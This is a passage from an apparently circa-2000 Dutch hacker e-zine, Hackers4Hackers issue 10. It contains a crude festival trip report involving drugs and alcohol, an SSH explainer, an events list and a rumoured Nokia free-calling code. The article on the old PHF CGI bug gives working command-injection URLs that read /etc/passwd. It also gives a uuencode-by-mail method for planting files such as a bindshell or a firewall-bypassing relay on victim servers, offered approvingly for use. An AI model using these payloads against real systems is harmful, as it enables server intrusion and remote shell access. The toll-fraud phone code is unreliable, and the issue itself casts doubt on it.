natuurlijk weer niet...... Overigens douchen om 02:00 uur 's-nachts roels dus
echt wel he!!

De volgende dag kwamen we allemaal wat moeilijk op gang. DNA tests werden
afgenomen om de eigenaar van de vlekken op de gay-tent te detecteren, er werd
nieuw bier gescoord en.... de pindakaas die pipje had meegenomen (waar ze
ijskoud om uitgelachen werd) was leeg!! Tijd voor een uitgebreide brunch. Je
hebt tenslotte een flinke basis nodig om lekker te kunnen feesten. Darkje werd
getraceerd en kwam sprintend onze tent zoeken toen ie hoorde dat daar baco te
halen was, uiteraard niet zonder eerst, bij volslagen vreemden, een jointje
meegerookt te hebben.


voorleesuurtje met Dugo

onder het genot van alcohol, wiet, zon en chips ging duugje voortvarend van
start.....

WHAT YOU SHOULD KNOW WHEN YOU BUY A SELFINFLATING-WOMAN <--- titel

Her performance depends greatly on how and how long she is stored.
This is because of the specific chemical tructure of the filaments
that the inner woman is made of. When you roll or squeeze the
woman and then release her, the woman that forms her nucleus
"remembers" the initial position and tends to return to it. If she
is kept compressed for to long she will lose here memory.
Technicians speak of the hysterical cycle of women to explain this
behavior.

GUARANTEE
All women are individually tested and guaranteed for unlimited
time against defects of materials and workmanship.

INFLATABLE WOMAN CARE
Be sure that the surface of the woman is clean and dry and that
the valve is open before storing her in a well-aired place. If
possible leave her in a horizontal position. Always use soapy water
to clean the woman, never organic dissolvents.

CAUTION
The woman is designed for sleeping inside the tent or on a surface
that will protect her from sharp objects. When the woman is
inflated protect her from the sun's rays and from any source of
heat that could damage her. During hotter hours inside the tent,
avoid any excess pressure by opening the valve....

USE
To inflate: open the valve and spread the woman out. she will
gradually inflate herself. The speed with which it does so depends
on how long she has been stored. Blow into the valve to give her a
little extra pressure and close the valve. When you lie on the woman
you can regulate the pressure by opening the valve a little. Once
the desired pressure has been reached, lose the valve.


REPAIRS
In order to find where the puncture is, inflate the woman as much
as possible, wet her with soapy water and mark wherever bubbles
appear. Dry the woman and open the valve. For a small hole, seal it
with a drop of our special contact glue and leave her to dry for at
least 3 hours.

wij willen ook niet weten waar dugo z'n voorleesboekjes koopt.....

Onze pyromaantjes waren al een poos bezig geweest en.... het resultaat was
ernaar. Hete unoxworstjes voor de lunch :)). Sync ging nog wel ff bijna huilen
toen zijn kunstwerk, een waterpak versneden tot een kabouterhuisje tsssss, ook
bijna verbrand werd maar gelukkig konden we hem troosten, phew. Na uren
rondhangen op de camping hadden we genoeg moed verzameld om weer een dagmars
richting festivalterrein af te leggen. Uiteraard nadat, Dugo nog ff snel een
blowtje wilde draaien, Pipje nog ff snel een zekere tent in wilde, Asby ze haar
ineens blauw wilde verven, Hawk iets begon te blaten over armbandjes die ie
wilde scoren, Sync zowiezo ze tent niet uit te slaan was en Ivo nog maar es een
biertje nam.

Eindelijk weer op het festivalterrein gearriveerd bleek er niets veranderd! nog
steeds rijen met mensen overal waar vocht en eten te halen viel. De Wanadoobus
was rustig, niet zonder reden er stonden imacs met ronde muizen!!!! en van
telnet hadden ze nog nooit gehoord. Wat voor soort verbinding? nou met internet
he!!! kabel? telefoon? isdn? nou gewoon met internet he!!! maar de computers
waren wel mooi blauw, dat wel :-).

Pip ging d'r eerste plastuit scoren (helaas niet weggelegd voor de heren) en
kwam juichend weer naar buiten. Plassen met de plastuit rouleert!!! Pip
overweegt een piemel te laten aannaaien, staand plassen is ultiem! Helaas waren
de shirtjes, met "plastuit company" erop geprint, niet te koop :(. Sync liep als
snel tegen de reputatie van "mensengooier" op, jemig ik denk dat ie die laatste
knul zeker een meter de lucht in smeet zeg. Hawk had ze roze armbandje gescoord
dus die was "on the loose". Asby liep goed voor joker met ze blauwe haar. Pip
hield vandaag wel haar broek droog, althans voor eventjes :-). Eigenlijk was de
enige die er normaal uitzag Dugo,die had namelijk het kewlste shirt aan, met het
hoofd van Axl Rose op de voorkant :-).

Onderweg terug naar de camping scoorde Sync een pak cocktail iets, Sync was wat
al te druk bezig geweest in de ruktent dus die liep wat ongemakkelijk en hoopte
zo de pijn iets te verlichten, en pip kreeg alvast een glas voor "de proef"
aangeboden. Het was gevaarlijk lekker :-). Verders is deze nacht wat vaahaag.
Pip dronk gewoon spa-blauw met cola, maaan wat kwam dat aan zeg. Er is iets erg
vaags met een tuitje en drank en plassen en een string en dugo tussen de benen
van Pip maar.... I'm lost.... echt geeeen ideeej meer wat er gebeurt is :)). Er
waren vast mensen die goed geslapen hebben maar volgens mij waren er heeel veeel
met andere.... dingen bezig :).


Kom je 's-ochtends nietsvermoedend je tent uit, zie je een hele grote bult voor
de tent van Sync liggen, dus je denkt "dat is die walrus". Wil je er net een
rotschop tegenaan geven onderwijl luid roepend "OEPS, IK ZAG JE HIER ZO GAUW
NIET LIGGEN"
, zie je ineens 2 hoofden onder de dekens vandaan komen!!!!!! Nou
dat bleek dus SceneGay te zijn in de ontkenningsfase. Die had een chickie
gescoord (met dank aan het roze armbandje van pipje) en..... je wilt het
eigenlijk niet weten, die is dus nu (2 WEKEN LATER!!) heftag flieft *geeeees*.
Loopt met 8 van die idiote armbandjes om ze pols en is niet aanspreekbaar. Loopt
gewoon de hele dag met zo een enge glimlach om ze mond! Die ontkenningsfase
wordt wel flink uitgebuit zeg.

Na van de schrik bekomen te zijn gingen de echte "die-hards" lekker ontbijten.
De sukkeltjes bleven nog eventjes bij, in en rondom de tent liggen. Dus Dugo,
Ivo en Pipje zaten een uurtje later (die wachtrijen Sucken bigtime!) aan een
heerlijk ontbijtje van koffie, thee en spiegeleieren op brood. We hadden
tenslotte een lange zware dag voor de boeg.

Alle "grote" bands zouden vandaag optreden. Het zonnetje scheen, de baco was
veilig naar binnen gesmokkeld, de joints gedraaid dus "what cold go wrong". Nou
niets dus :). Het werd een heerlijke dag van luieren in de zon, luisteren naar
muziek, bier en eten scoren bij de vandaag iets rustigere vreet- en dranktenten,
mooie gefabriceerde jointjes van dugo en natuurlijk was de muziek live! Scenegay
bleek toch ietsjes minder ge<nteresseerd in de muziek vandaag en was op enig
moment gewoon verdwenen!!!!!! (willen we geeneens weten ook).

Helaas moest het overgrote deel van de groep vandaag naar huis terug wegens
prangende afspraken de volgende ochtend. Het heeft weinig zin te vermelden dat
Scenegay z'n laatste trein gemist had, per ongeluk uiteraard, Jaja. Gelukkig
bleven de echte Die Hards nog een nachtje langer. Op de klanken van MOBY verliet
dit groepje; Ivo, Sync, Dugo en Pipje al dansend het festivalterrein.

Eenmaal teruggekeerd op de camping bleek dat er toch nog wel een heeele hoop
mensen bleven kamperen en de algehele relaxte sfeer die om het campingterrein
heen hing was top. De meegebrachte baco moest nog op dus na wat rondgeschreeuw
dat er nog 4 liter bacardi was kregen we al snel gezelschap. De meningen over de
leukte van dit gezelschap liepen nogal uiteen maar het was wel gezelli :-). Pip
overdreef enigsinds met de inname van baco en ging steeds vaker richting toilet.
Ze had wel een heel gezellig toiletteermaatje gevonden, dat wel :-). Afijn, Ivo
schijnt zo een beetje de hele nacht doorgegaan te zijn (bier moest op
tenslotte), Pip werd omzichtig de tent in gedirigeerd toen het echt de spuigaten
uit dreigde te lopen, Syncje rolde zo ze tent in en Dugo was genoodzaakt om, op
enig moment, 2 onverlaten de stuipen op het lijf te jagen toen zij de ...tent
wilden onderpiesen. Ze schijnen erg geschrokken te zijn van Dugo gekleed met
enkel een spijkerbroek, zwaaiend met z'n broekriem :).

Voor de volgende ochtend is maar 1 woord geschikt...........

!!!!!!!!!! BRAK !!!!!!!!!!!!

Willen we niet meer aan terugdenken en al helemaal niets over opschrijven. Maar
de bedjes thuis waren prima geschikt voor de diverse vormen van een comatueze
slaap :-).

Dit schrijvende wachten enkele mensen in ongezonde spanning (zowel positief als
negatief) op de online foto's om dit hele verhaal luister bij te
zetten...........

AAAAAAAAAAAAAAARRRRRRRRRRRRRGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHH


volgend jaar weer?????


De weetjedatjes:

Wist je dat Sync meer dan 1 vrouw een groene doos bezorgt heeft,
N|ghthawk nog steeds een arm vol roze armbandjes heeft,
Asby nog steeds blauw is achter z'n oren,
Pipje de mooiste dromen heeft over plassen met de plastuit,
Het guinness book of records gebeld gaat worden voor de mensengooikwaliteiten
van Sync,
Een halve liter spa-blauw soms een heeeeel ander effect kan hebben dan je dacht!
Ivo dat aan den lijve heeft mogen ondervinden toen hij de ochtend dacht te
beginnen met een flinke slok spa-blauw..............
Dugo erg lekker kan dansen,
Echt niemand een idee heeft wie, in godsnaam, de superborings zijn,
Iedereen van de cast zou meehelpen met het schrijven van dit verslag en
uiteindelijk niemand dat gedaan heeft,
Er op het gehele festivalterrein geen pelpinda's te krijgen waren, dit tot grote
teleurstelling van Sync,
Pip gevaarlijk goed bleek in het gratis verkrijgen van alles wat met bonnen
gehaald moest worden,
Pip hier nog beter in was als er met gewoon geld betaald moest worden,
Pip uiteraard onschuldig is,
Housemuziek na een half uurtje echt gaat zuigen als je niet beneveld genoeg
bent,
Bacardi lekkerder smaakt als het naar binnen gesmokkeld moet worden,
Het petje van Pip toch echt te klein was voor het hoofd van Sync,
Sync nog een poging gewaagd heeft sekteleider te worden,
Iedereen weigerde door hem gezegend te worden,
Groen haar waarschijnlijk weinig heeft bijgedragen tot zijn geloofwaardigheid
als guru,
Laura best een lief meisje is,
De bijbehorende foto's allemaal bewerkt zijn met fotoshop (BELANGRIJK DETAIL),

-------------------------------------------------------
07. Hoe en Wat SSH.
-------------------------------------------------------
Intro op SSH

SSH staat voor SecureShell en is bedoelt als alternatief voor
rlogin rsh en rcp. SSH werd oorspronkelijk ontwikkeld door Tatu Ylonen
aan de TU in helsinki, en is nu buiten de *nix omgeving als algemene
standaard ggeaccepteerd.
Met SSH kan je dus op een systeem inloggen, in tegenstelling tot rsh rcp
en rlogin wordt alle dataverkeer over SSH gecodeerd.

SSH biedt ook de mogelijkheid lokale TCP-poorten door het versleutelde
kanaal aan het doelsysteem door te geven (Port Forwarding).


Hoe werkt SSH?

Bij de installatie van het ssh pakket (verkrijgbaar op http://www.ssh.org)
wordt er een sleutelpaar gegenereerd, de zogenaamde HostKey. Deze bestaat uit
een publieke (HKpub) en een geheim (HKsec) component, deze worden gebruikt
ter identificatie bij SSH-Sessies.

De verbinding tussen SSH-client en server verloopt als volgt:
verbindingopname, authentificatie van de server, authentificatie van de
gebruiker, gecodeerde data verzending en het verbreken van de connectie.
Deze procedure is bij elke OS hetzelfde en het is altijd de client die een
SSH-sessie initieert (standaard op port 22).
De server start een nieuwe SSH-Daemon en deze genereerd een speciaal
voor deze sessie bedoelt sleutelpaar, dat uit een SessionKey SKpub en
SKsec bestaat. Deze sessie-key wordt na een bepaalde tijd vervangen door een
nieuwe key (normaal gesproken na een uur), en om het nog veiliger te maken
wordt deze key niet in een bestand opgeslagen maar in het hoofdgeheugen
bewaard.
Dit tweede sleutelpaar moet voorkomen dat een sniffende hacker de mogelijk
heeft gesniffde code na het eindigen van een sessie te decoderen.

Na het uitwisselen en overeenkomen van de te gebruiken protocol-versie
verstuurd de server zijn publieke sleutels HKpub en SKpub naar de client.
De client vergelijkt HKpub met de sleutel in zijn lijst van bekende servers.
Wanneer men voor het eerst een SSH-Sessie opent met een server , kan de
client de nieuwe sleutel leren kennen, dwz. aan de lijst met bekende hosts
toevoegen.

Als de client de HKpub van de serverin zijn databases heeft staan, zal hij
de communicatie verder zetten,
wanneer dit niet het geval is vraagt de client of je zeker
weet dat je wel wilt verbinden, het beste is om de verbinding te verbreken.
Een van de oorzaken hiervan kunnen zijn dat de admin van de server de
software opnieuw heeft geinstalleerd (en dus een nieuw sleutelpaar heeft
gemaakt) en dat de admin vergeten heeft dat aan de gebruikers door te geven.
Ook een mogelijkheid in dit geval is dat u slachtoffer bent geworden van
een "man in the middle attack" (voor uitleg check: http://hier.is/triples).

Als de client HKpub van de server geaccepteerd heeft, maakt hij een random
Sessiekey aan (sesk). Deze wordt mbv. SKpub en HKpub gecodeerd en naar de
server gestuurd. Hierin wordt ook verteld welke methode van symmetrische
cryptografische algoritmes hij voor de rest van zijn sessies wil gebruiken.
Meestal beschikken de client en de server over een reeks verschillende
symmetrische cryptografische algoritmes, overigens kan meestal de gebruiker
vaak zijn voorkeur aan zijn client meegeven.


Wanneer de client de identiteit gecontroleerd heeft, moet de gebruiker zich
aan de server legitimeren, veelal door wachtwoord verificatie waarbij de
gebruiker een user en passwd zal moeten geven.
Er is nog een methode , authentificatie met public key methode, waar ik
op dit moment geen aandacht aan wil besteden, omdat de bovenstaande meer
wordt gebruikt.
Wanneer de aanmelding op de server slaagt, zal er een cryptografische
verbinding tot stand komen, nu ben je ingelogd op de server.
Op dit moment zal er gemiddeld om het uur een key-reexchange uitgevoerd,
hierbij maakt de server een nieuw Sessie-Sleutelpaar aan verstuurd nieuwe
publieke sleutel weer door naar de client. Deze genereert een (nieuwe)
sessiesleutel en stuurd deze samen met de HKpub en SKpub terug.

--- Privacy 4 everybody ---


Enkele andere informatiebronnen over SSH:
http://www.ssh.org
http://www.csua.berkeley.edu/ssh-howto.html
http://skew2.kellogg.nwu.edu/homepage/applications/windows/ssh.html
(windows ssh howto)

Commentaar of verbeteringen aan mijn tekst? mail naar GrAzEr1@linux-freak.com
of termaat@gelrevision.nl
GrAzEr1
http://team-tss.online.cx

-------------------------------------------------------
08. Evenementen
-------------------------------------------------------
Tech-Ed Europe

URL: http://www.microsoft.com/europe/teched
Datum: 04-07-2000 tm 07-07-2000
Locatie: Amsterdam


HOPE 2000

URL: http://www.h2k.net
Datum: 14-07-2000 tm 16-07-2000
Locatie: New York, New York Hotel Pennsylvania


H4H@LowLands Meeting

URL: http://www.hackers4hackers.org/h4h-meeting
Datum: 25-08-2000 tm 27-08-2000
Locatie: Six Flags, Biddinghuizen


Defcon 2000

URL: http://www.defcon.org
Datum: 28-07-2000 tm 30-07-2000
Locatie: Las Vegas, Nevada USA


Anti hacking Workshop 2000

url: www.infocare-events.nl
Datum: 29-08-2000 en 30-08-2000
Locatie: Holiday Inn, Utrecht


Bizarre

URL: http://www.bizarre.nl/index_menu.htm
Datum: 29-09-2000 tm 1-10-2000
Locatie: congress-center "De Nobelaer" in Etten-Leur


Informatiebeveiliging door encryptie

url: www.infocare-events.nl
Datum: 14-09-2000
Locatie: De Meervaart, Amsterdam


Linux2000

Url: http://www.linux2000.nl/
Datum: 09-10-2000 en 10-10-2000
Locatie: Reehorst te Ede


Infosecurity

Url: www.infosecurity.nl
Datum: 19-10-2000 en 20-10-2000
Locatie: Hal 10, Jaarbeurs Utrecht


Hit2000

Url: http://www.hit2000.org/
Datum: November 2000
Locatie: Waarschijnlijk Haarlem


Weet jij nog IT / Security evenmenten op te noemen mail het dan door
naar h4h-redactie@hackers4hackers.org

-------------------------------------------------------
09. Gratis bellen met een nokia ???
-------------------------------------------------------
Met de Nokia 6150 kan gratis gebeld worden zo ging het gerucht. Met deze
wetenschap zijn wij gaan zoeken hoe dat dan wel niet zou kunnen. Dit blijkt dus
met een code op het toestel. Dit zou overigens ook moeten werken op de nokia
7110, Echter moet er wel rekening mee gehouden dat niet iedere simkaart van
iedere provider geschikt is voor deze hack... Bij het schrijven van dit artikel
is gebruik gemaakt van een NOKIA 6150, en een KPN Abbonement (sim kaart van +-
1995) Op de telefoon kan een code getypt worden waarna de telefoon zecht "SIM
clock stop allowed"
Wat deze kreet precies betekend is nog niet helemaal
duidelijk. Volgens deze persoon zou de telefoon nu +- 10 minuten zijn eigen
nummer niet doorgeven waardoor deze minuten niet gefactureerd kunnen worden !
Wat de kreet precies betekend blijft speculeren. Mischien dat de mensen bij
NOKIA daar een andwoord op hebben ;)

Maar goed de code die je zou moeten gebruiken is : *#746025625# (op het
toetsenbord de letters : SIM0CLOCK (hmmm mischien meer codes ???)
Dit is geprobeerd op een NOKIA 6150 door de redactie en inderdaat de melding
"SIM Clock Stop Allowed" verscheen. Nu nog hopen dat ons gesprek niet
gefactureerd wordt =)

We wouden het ook nog met een libertel kaart proberen... Maar de nieuwe nokia
bezit een zogenaamde beveiligins code waarmee voorkomen wordt dat de simkaart
gewisseld kan worden. Helaas wist de eigenaar deze code niet en moesten we ons
expiriment staken.

Toen we nokia nederland belden voor commentaar, kregen we te horen dat zij niet
in telefoons deden maar nokia belgie wel... Dus toen naar belgie gebeld.. We
kregen daar verder niemand te spreken die commentaar wou geven op deze code...
En de vraag of er meer code's zijn...

Of er nu gratis gebeld kan worden trekken we sterk in twijfel... Dus gok er maar
niet op =) maar we hebben wel het id' dat er in de nokia's leuke verborgen
mogelijkheden zitten ;)

Berry da Clown.
berry@hackers4hackers.org

-------------------------------------------------------
10. Extension on old PHF bug
-------------------------------------------------------
- Credits gaan naar CoolVibe & Dugo voor het helpen met het escapeproblem
Daarom zijn ze leet

CGI (Common Gateway Interfaces) scripts zijn zeer handige programma's en soms
kunnen ze gemakkelijk exploited worden.
Zoals het PHF script (Packet Handler Function) white pages directory services
programma dat geleverd wordt met de NCSA webserver versie <= 1.5 en met
Apache <= 1.0.5 (ik heb ze zelfs gevonden op Netscape Enterprise servers en
officieel worden ze daarbij niet geleverd. Domme sysops denk ik :)

CGI programma's accepteren input van de user en geven dan die input door naar
andere programma's als command-line argumenten. Een CGI programma moet zijn
input controleren en verwijderd metacharacters met speciale betekenis voor
het doorgeven naar andere commando's. Als dit niet gebeurt, kan een
attacker (Jij :-) "valse" input doorgeven naar deze programma's dat ze op
onverwachte manieren gaan reageren, vaak resulteerd dit in het feit dat de
attacker (Jij :-) bashcommando's kan uitvoeren.

De bug in de het PHF 'lame ass' script is al geruime tijd bekend (ontdekt op
12 maart 1996 door ... God mag weten wie :) en als je dit niet weet ben je
waarschijnlijk zelf ook lame .

De syntax voor de PHF sploit is meestal iets als dit:
http://www.lamesysadmin.com/cgi-bin/phf?Qalias=%0Acat%20/etc/passwd

Of in sommige gevallen op Linux machines:
http://www.lamesysadmin.com/cgi-bin/phf?Qalias=%FFcat%20/etc/passwd

of
http://www.lamesysadmin.com/cgi-bin/phf?Qalias=x%0Acat%20/etc/passwd

het enige probleem met dit mooi programaatje is dat veel characters zijn
uitgesloten.
Bijvoorbeeld: ; { } ' ' > < && $ | \

So what?
Nu kan je dus niet naar een file schrijven nerd :-p
Dus met PHF kan je niet doen zoals dit:
http://www.lamesysadmin.com/cgi-bin/phf?Qalias=%0Alynx%20-
dump%20www.yourleetmachine/my_leet_shell_opentool.c%20>/tmp/evilfile.c

Je kan dus niet ">" gebruiken, voor het zelfde geld 'echo' en 'sed'.
Ghehe.. Hoe lossen we dit dus op? *grin*
Naar mijn mening is er maar 1 leet manier om dit te doen.
Je kan gebruik maken van: mail, cat, uuencode & uudecode voor dit probleem
(RTFM als je niet weet wat ze doen)

Hoe? Nou, makkelijk.
Doe dit op je machine:

$ uuencode yourfile.c nerd>yourfile
$ cat yourfile | mail nobody@lamesysadmin.com

ook met user www, controleer het met 'whoami' (stop met lezen als je
niet weet wat dat is)

Ga dan naar je slachtoffers PHF script en doe dit:
phf?Qalias=%0Auudecode%20-o%20/var/spool/mail/nobody%20/tmp/yourfile

Nu is je file in /tmp :-p
note: mailbox locaties zijn verschillend op veel OS's (Operating Systems)

Met dit kan je mooie bindshell programma's of index.html files or what ever
versturen vanaf deze server (Mijn voorkeur is bindshell, dat geeft je
shell access. Als je achter een firewall zit en telnet is onmogelijk,
kan je een tcprelaying programma sturen dat poort 60666 (bijvoorbeeld)
linked aan poort 23 en telnet is mogelijk achter een firewall :)

Als je dit niet snapt... Lees het nog eens

Grtz to #phreak.nl for comments mail to:theinsanedrg@geocities.com

Remeber we 0wn you, and we're still drunk as hell, PHEAR!


drgenius

-------------------------------------------------------
11. Eindwoord
-------------------------------------------------------
Het 10e nummer van h4h, eigenlijk een jubileum waard... of toch maar niet ;)
Wel onze exusses voor het zo laat plaatsen van het phf artikel (dit is in
januari al binnen gekomen) maar door omstandigheden en late vertaling etc. is
het er gewoon niet van gekomen.

Ook is er al over een datum voor hit gespeculeerd dit zou in het weekend van 13
oktober moeten plaatsvinden.

We zijn natuurlijk nog steeds op zoek naar enthousiaste schrijvers, die het leuk
vinden om iets voor H4H te schrijven. Het liefst ook nog iets wat interessant
is. En kom nu niet met de smoes: tijdgebrek. Want voor veel mensen is de
zomervakantie al aangebroken, dus tijd zat.

In ieder geval veel lees plezier en tot de volgende H4H

(De redactie)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT